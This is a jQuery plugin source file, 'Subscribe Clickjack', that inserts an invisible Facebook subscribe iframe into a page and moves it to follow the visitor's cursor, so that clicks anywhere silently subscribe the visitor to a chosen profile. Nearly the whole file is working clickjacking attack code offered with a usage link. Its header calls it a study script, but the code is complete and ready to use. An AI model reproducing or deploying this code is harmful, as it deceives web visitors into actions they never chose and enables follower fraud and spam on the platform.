/*
 * Subscribe Clickjack - jQuery Plugin
 * The purpose of this script is study, by using this plugin for not security or study purposes 
 * you might be violating Facebook Terms and you might lose your Facebook account
 *
 * Developed by Irfan Cikoglu <irfan (at) php (dot) net>
 * 
 * Also, I am 17 years old. (not know why I wrote this :))
 * Requires: jQuery (tested with v1.7.1)
 * Usage: http://www.irfancikoglu.com/makaleler/javascript-ajax/jquery-auto-subscribe-clickjacking-how-to
 * 
 * Sorry for my bad English.
 */
$.otoabone = function (secenekler) {
    var varsayilan = {
        profile: '',
        offsetX: 35,
        offsetY: 30,
        width: '53px',
        height: '40px',
        opacity: 0
    };

    var secenek = $.extend(varsayilan, secenekler);

    var cssi = {
        'border': '0',
        'overflow': 'hidden',
        'cursor': 'default',
        'allowTransparency': 'true',
        'frameBorder': '0',
        'width': secenek.width,
        'height': secenek.height,
        'opacity': secenek.opacity,
        'position': 'absolute'
    }
    var $aboneac;
    $aboneac = $('<iframe id="otoaboneirfan" src="https://www.facebook.com/plugins/subscribe.php?href=' + encodeURIComponent(secenek.profile) + '&layout=standard&show_faces=true&colorscheme=light&font&width=450" scrolling="no"></iframe>');
    $('body').append($aboneac);

    $aboneac.css(cssi);
    $(window).mousemove(function (event) {
        var offsetX = secenek.offsetX;
        var offsetY = secenek.offsetY;
        var yeniX = (event.pageX - offsetX) + 'px';
        var yeniY = (event.pageY - offsetY) + 'px';
        $aboneac.css('top', yeniY).css('left', yeniX);
    });
};